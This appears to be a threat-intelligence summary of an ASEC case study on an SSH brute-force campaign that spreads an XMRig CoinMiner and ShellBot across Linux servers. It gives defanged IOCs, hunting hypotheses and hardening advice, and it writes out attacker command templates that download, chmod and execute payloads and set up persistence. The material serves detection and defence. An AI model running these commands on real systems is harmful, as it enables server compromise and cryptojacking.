11 minhigh
Case Study: Distribution of a CoinMiner Targeting Linux SSH Servers via Malware Distribution via Network Transmission
ASEC identified a multi-component Linux malware campaign targeting poorly managed SSH servers. The attack chain uses Go-based propagation malware to worm-like spread XMRig CoinMiner across SSH-accessible servers. The XMRig variant implements robust persistence via systemd services, cron jobs, and a /dev/shm watchdog, while XHide and Shc-compiled obfuscation scripts disguise mining activity by spoofing process names and hijacking common administrative commands through .bashrc aliases.
Sens:▲ 24h
Showing defanged values
- domaindownload[.]xrpl[.]cityPrimary malware distribution server hosting downloader, propagation malware, XMRig, ShellBot, and archive payloads
- domainirc[.]undernet[.]orgShellBot IRC C2 server on port 6667, channel #T3st, admin ID 'Egeu'
- domainsad[.]latDual-use infrastructure serving as both XMRig mining pool and ShellBot IRC C2 server on port 80
- domaintime[.]justnames[.]inMining pool #2 for 'Discord' XMRig variant on port 80
- domainyoupost[.]inExfiltration endpoint receiving HTTP POST results from propagation malware after successful SSH compromise
- ip143[.]20[.]185[.]252IOC IP listed in article IOC section
- ip146[.]19[.]213[.]82Mining pool address used by XMRig variant on port 80
- ip172[.]245[.]81[.]188Mining pool address used by XMRig variant on port 80
- ip185[.]242[.]3[.]57IOC IP listed in article IOC section
- ip192[.]3[.]9[.]34Mining pool address used by XMRig variant on port 80
- ip23[.]94[.]137[.]96Mining pool address used by XMRig variant on port 80
- ip45[.]88[.]91[.]151C2 address checked by persistence script 'myw'; if no connection exists, the 'run' launcher script executes XMRig via XHide
- md50d01bd11d1d3e7676613aacb109de55fMD5 hash of malware sample listed in article IOC section
- md50fde38c0cfa5e5bf8e6ac2a6be0232b7MD5 hash of malware sample listed in article IOC section
- md5161d62e4b7ab39f677e7a6828039ef79MD5 hash of malware sample listed in article IOC section
- md52fcad1ae4a29ddb3862f3674065e7433MD5 hash of malware sample listed in article IOC section
- md53565360c4102e152852976effc9aab85MD5 hash of malware sample listed in article IOC section
- mutex/dev/shm/.Agt.LckAgent lock file preventing concurrent execution of the watchdog process
- mutex/dev/shm/.Mnr.LckMiner lock file preventing concurrent execution of the mining process
- urlhxxp://download[.]xrpl[.]city/auto/auto[.]jpgDownload URL for compressed archive containing Shc scripts, XHide, and XMRig
- urlhxxp://download[.]xrpl[.]city/auto/migDownload URL for MIG LogCleaner tool
- urlhxxp://download[.]xrpl[.]city/[.]b0tDownload URL for ShellBot malware
- urlhxxp://download[.]xrpl[.]city/runDownload URL for Go-based downloader malware
- urlhxxp://download[.]xrpl[.]city/test/pack[.]jpgDownload URL for compressed archive containing XMRig and propagation malware
- urlhxxp://youpost[.]in/Exfiltration endpoint receiving HTTP POST with attack results from propagation malware
![hxxp://download[.]xrpl[.]city/auto/auto[.]jpg](/iocs/url/http%3A%2F%2Fdownload.xrpl.city%2Fauto%2Fauto.jpg){kind=link}
![hxxp://download[.]xrpl[.]city/test/pack[.]jpg](/iocs/url/http%3A%2F%2Fdownload.xrpl.city%2Ftest%2Fpack.jpg){kind=link}
Detection / Hunteropenrouter
What Happened
Attackers are targeting Linux servers that have weak SSH passwords by brute-forcing their way in. Once inside, they install cryptocurrency mining software that uses the server's computing power to mine Monero cryptocurrency for the attackers. The malware can spread automatically to other vulnerable servers. To avoid detection, the attackers use tools that disguise the mining software as normal system processes and modify common administrator commands (like 'top' and 'uptime') so they show fake information. They also install a remote-control bot that can launch denial-of-service attacks. Server administrators should use strong passwords, restrict SSH access with firewalls, and keep systems updated to protect against these attacks.
Key Takeaways
- Go-based propagation malware scans SSH ranges and auto-installs XMRig CoinMiner on newly compromised Linux servers, enabling worm-like spread
- XMRig variant uses multi-stage persistence: systemd service, cron jobs, and a watchdog process in /dev/shm that re-downloads the miner after reboots
- Command obfuscation via Shc-compiled scripts modifies .bashrc with aliases for common commands (uptime, top, w, crontab, ls) to hide mining activity from administrators
- XHide tool spoofs process names to legitimate system processes (e.g., kworker, irqbalance, systemd-logind) to evade detection
- ShellBot (PerlBot) IRC bot co-deployed for DDoS and remote system control; MIG LogCleaner distributed for log manipulation
Affected Systems
- Linux servers with exposed SSH services
- Linux servers with weak or default credentials
- Linux servers lacking firewall access controls on SSH port 22
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: Brute-force SSH login attempts against poorly managed Linux servers using credential lists
- Execution: Go-based downloader 'run' installed via wget after successful SSH login; changes user password and downloads pack.jpg archive containing XMRig and propagation malware
- Propagation: 'meta' malware scans SSH address ranges using credential files, auto-installs XMRig on newly compromised servers, and reports results to youpost.in via HTTP POST
- Persistence: XMRig copies itself to /etc/ufw/.Dev/oracle-monitor and /dev/shm/.Sys_cache_backup, creates systemd service 'oracle-service.service', and adds cron jobs for reboot persistence
- Defense Evasion: XHide spoofs process names to legitimate system processes; Shc-compiled scripts modify .bashrc with aliases hijacking admin commands (top, uptime, w, crontab, ls); MIG LogCleaner manipulates logs
- Impact: XMRig mines Monero using system resources across five mining pools; ShellBot provides IRC-based DDoS and remote system control capabilities
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
No detection rules are provided in the article. The article is a case study analysis with IOCs and TTP descriptions only.
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | Linux EDR coverage varies widely; process execution, file creation in unusual paths (/etc/ufw/.Dev/, /dev/shm/), and crontab modification may be visible if an EDR agent is deployed. However, many Linux servers lack EDR entirely. |
| Network Visibility | Medium | SSH brute-force attempts, HTTP downloads from download.xrpl.city, IRC traffic to C2 on port 80/6667, and mining pool connections on port 80 are network-detectable. However, IRC on port 80 and mining on port 80 blend with normal web traffic. |
| Detection Difficulty | Moderate | The malware uses legitimate system tools (wget, curl, tar, crontab, cp) and disguises processes as system services. However, the use of unusual file paths (/etc/ufw/.Dev/, /dev/shm/), systemd service creation, .bashrc modification, and connections to known-bad infrastructure provide multiple detection opportunities. |
Required Log Sources
- SSH auth logs (auth.log, secure log)
- Systemd journal logs
- Cron logs
- Process execution logs (auditd, eBPF-based process monitoring)
- Network flow data or proxy logs
- File integrity monitoring for /etc/systemd/system/ and user .bashrc files
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for systemd services created in non-standard locations or with names mimicking legitimate services, particularly those referencing binaries in /etc/ufw/ or /dev/shm/ paths | Systemd journal logs, file integrity monitoring on /etc/systemd/system/ | Persistence | Low - legitimate services rarely use hidden directories under /etc/ufw/ or /dev/shm/ |
| Consider hunting for modifications to user .bashrc files that register aliases for common administrative commands (top, uptime, w, crontab, ls), which may indicate command obfuscation | File integrity monitoring on home directories, auditd file watch rules | Defense Evasion | Low to Medium - some administrators add custom aliases, but aliasing standard system commands to scripts in /usr/share/terminfo/ is highly suspicious |
| Consider hunting for processes executing from /dev/shm/ or /var/tmp/ with hidden file names (dot-prefixed), particularly those maintaining lock files in /dev/shm/ | Process execution logs, auditd, eBPF process monitoring | Execution | Low - legitimate applications rarely execute from tmpfs with hidden filenames |
| Consider hunting for SSH brute-force activity characterized by high volumes of failed authentication attempts from multiple source IPs, followed by a successful login and immediate wget/curl download commands | SSH auth logs, process execution logs | Initial Access | Medium - automated configuration management tools may trigger similar patterns, but combined with failed auth attempts the signal strengthens |
| Consider hunting for outbound connections on port 80 that exhibit IRC protocol! protocol characteristics or mining protocol (stratum) patterns, as the malware uses port 80 for both IRC C2 and mining pools | Network flow data, IDS/IPS, proxy logs | Command and Control | Medium - port 80 is standard web traffic; protocol-level inspection is needed to distinguish IRC/stratum from HTTP |
Control Gaps
- Standard web filtering may not detect IRC protocol over port 80 or stratum mining protocol over port 80
- File integrity monitoring may not cover /etc/ufw/.Dev/ or /usr/share/terminfo/ directories by default
- Process name spoofing via XHide can bypass simple process name allowlists
- Cron job modifications may not be monitored if cron log collection is not configured
- SSH brute-force detection may require rate-limiting or fail2ban which is not universally deployed
Key Behavioral Indicators
- Process executing from /etc/ufw/.Dev/oracle-monitor path acting as a watchdog
- Systemd service named 'oracle-service' referencing binary in /etc/ufw/.Dev/
- Crontab entries containing @reboot with /var/tmp/.Sys_cache_ pattern
- Files created in /dev/shm/ with dot-prefixed names (.Sys_cache_backup, .Agt.Lck, .Mnr.Lck)
- Bashrc modifications adding aliases for 'top', 'uptime', 'w', 'crontab', 'ls' pointing to scripts in /usr/share/terminfo/
- XMRig process arguments containing '--donate-level=0' and '--null-hash-report' flags
- Wget or curl downloading from download.xrpl.city followed by chmod +x and execution
- SSH login immediately followed by wget download and execution chain piped through xargs
False Positive Assessment
Low - the combination of unusual file paths, process name spoofing, .bashrc alias injection, and connections to known-bad infrastructure provides strong composite indicators with minimal legitimate use cases.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider searching endpoint and network logs for connections to download.xrpl.city, sad.lat, youpost.in, and the listed mining pool IPs to identify potentially compromised servers.
- If compromised hosts are identified, consider isolating them per your incident response procedures, disabling affected SSH keys, and forcing password resets for all accounts on affected servers.
- Consider blocking the identified C2 and mining pool IPs/domains at your firewall or proxy if consistent with your network security policies.
Infrastructure Hardening
- Evaluate whether SSH access should be restricted to specific source IPs via firewall rules or VPN, rather than exposing port 22 to the internet.
- Consider implementing SSH key-based authentication and disabling password-based SSH login where feasible.
- If supported by your infrastructure, consider deploying fail2ban or equivalent rate-limiting for SSH authentication failures.
- Evaluate deploying file integrity monitoring for /etc/systemd/system/, /etc/ufw/, /dev/shm/, and user .bashrc files if not already in place.
- Consider implementing network-level blocking of outbound IRC and stratum/mining protocols, particularly on non-standard ports.
User Protection
- Consider deploying Linux EDR agents on internet-facing servers if not already deployed, with detection rules for execution from /dev/shm/ and /var/tmp/.
- Evaluate whether cron job monitoring is enabled in your logging infrastructure to detect persistence mechanisms.
- If applicable, consider deploying auditd rules to monitor file creation in /etc/ufw/.Dev/ and /usr/share/terminfo/ directories.
Security Awareness
- Consider reminding server administrators to use strong, unique passwords and rotate them periodically, particularly for internet-facing services.
- If your organization has a server hardening baseline, consider verifying that SSH configuration follows best practices (disable root login, limit authentication attempts, use key-based auth).
- Consider including Linux malware awareness in existing security training programs, emphasizing that Linux servers are actively targeted by cryptocurrency mining campaigns.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping10 techniques
Tactic
Execution
Tactic
Persistence
Tactic
Credential Access
Tactic
Command and Control
Tactic
Impact
Additional IOCs
- Ips:
143[.]20[.]185[.]252- IOC IP listed in article IOC section146[.]19[.]213[.]82- Mining pool address used by XMRig variant on port 80172[.]245[.]81[.]188- Mining pool address used by XMRig variant on port 80185[.]242[.]3[.]57- IOC IP listed in article IOC section192[.]3[.]9[.]34- Mining pool address used by XMRig variant on port 8023[.]94[.]137[.]96- Mining pool address used by XMRig variant on port 80
- Domains:
time[.]justnames[.]in- Mining pool #2 for 'Discord' XMRig variant on port 80irc[.]undernet[.]org- ShellBot IRC C2 server on port 6667, channel #T3st, admin ID 'Egeu'
- Urls:
hxxp://download[.]xrpl[.]city/.b0t- Download URL for ShellBot malwarehxxp://download[.]xrpl[.]city/auto/auto.jpg- Download URL for compressed archive containing Shc scripts, XHide, and XMRighxxp://download[.]xrpl[.]city/auto/mig- Download URL for MIG LogCleaner toolhxxp://download[.]xrpl[.]city/run- Download URL for Go-based downloader malwarehxxp://download[.]xrpl[.]city/test/pack.jpg- Download URL for compressed archive containing XMRig and propagation malwarehxxp://youpost[.]in/- Exfiltration endpoint receiving HTTP POST with attack results from propagation malware
- File Hashes:
0d01bd11d1d3e7676613aacb109de55f(MD5) - MD5 hash of malware sample listed in article IOC section0fde38c0cfa5e5bf8e6ac2a6be0232b7(MD5) - MD5 hash of malware sample listed in article IOC section161d62e4b7ab39f677e7a6828039ef79(MD5) - MD5 hash of malware sample listed in article IOC section2fcad1ae4a29ddb3862f3674065e7433(MD5) - MD5 hash of malware sample listed in article IOC section3565360c4102e152852976effc9aab85(MD5) - MD5 hash of malware sample listed in article IOC section
- File Paths:
/etc/ufw/.Dev/oracle-monitor- XMRig watchdog copy location; process running from this path acts as watchdog re-downloading miner after reboot/dev/shm/.Sys_cache_backup- Temporary XMRig copy in tmpfs; deleted on reboot, re-downloaded by watchdog/etc/systemd/system/oracle-service.service- Systemd service file created for persistence of XMRig CoinMiner/var/tmp/.Sys_cache_backup- Cron-scheduled copy of XMRig miner executed at reboot/usr/share/terminfo/c/.X/.L/- Directory where command obfuscation scripts are placed by 'pot' Shc-compiled script/usr/share/terminfo/c/.X/.X/- Directory where XHide and XMRig binaries are placed by 'pot' Shc-compiled script
- Command Lines:
- Purpose: Download and execute the 'run' Go-based downloader after successful SSH login | Tools:
wget,chmod| Stage: Initial Access |cd /var/tmp ; wget <url> && chmod +x <filename> && ./<filename> - Purpose: Download and extract archive containing XMRig and propagation malware | Tools:
wget,tar| Stage: Execution |wget <url> && tar xf <archive> && rm <archive> - Purpose: Execute propagation malware to scan SSH ranges and install XMRig on new targets | Tools:
meta| Stage: Propagation |./<binary> scan <ranges_file> 22 -p <pass_file> - Purpose: Re-download XMRig to /dev/shm after reboot using curl or wget fallback | Tools:
curl,wget| Stage: Persistence |curl -k -s -L -o <path> <url> || wget -q -O <path> <url> - Purpose: Copy miner to /var/tmp and register as cron job for reboot persistence | Tools:
cp,chmod,crontab| Stage: Persistence |cp -f <source> <dest> && chmod +x <dest> - Purpose: Execute XMRig with mining pool configuration and process name spoofing via XHide | Tools:
xhide,discord| Stage: Impact |-u <user> --tls --donate-level=0 -o <pool>:80
- Purpose: Download and execute the 'run' Go-based downloader after successful SSH login | Tools:
- Other:
irc.lat:80- ShellBot IRC C2 server #1, channel #X, admin ID 'X'
Related
Stay currentSubscribe via RSS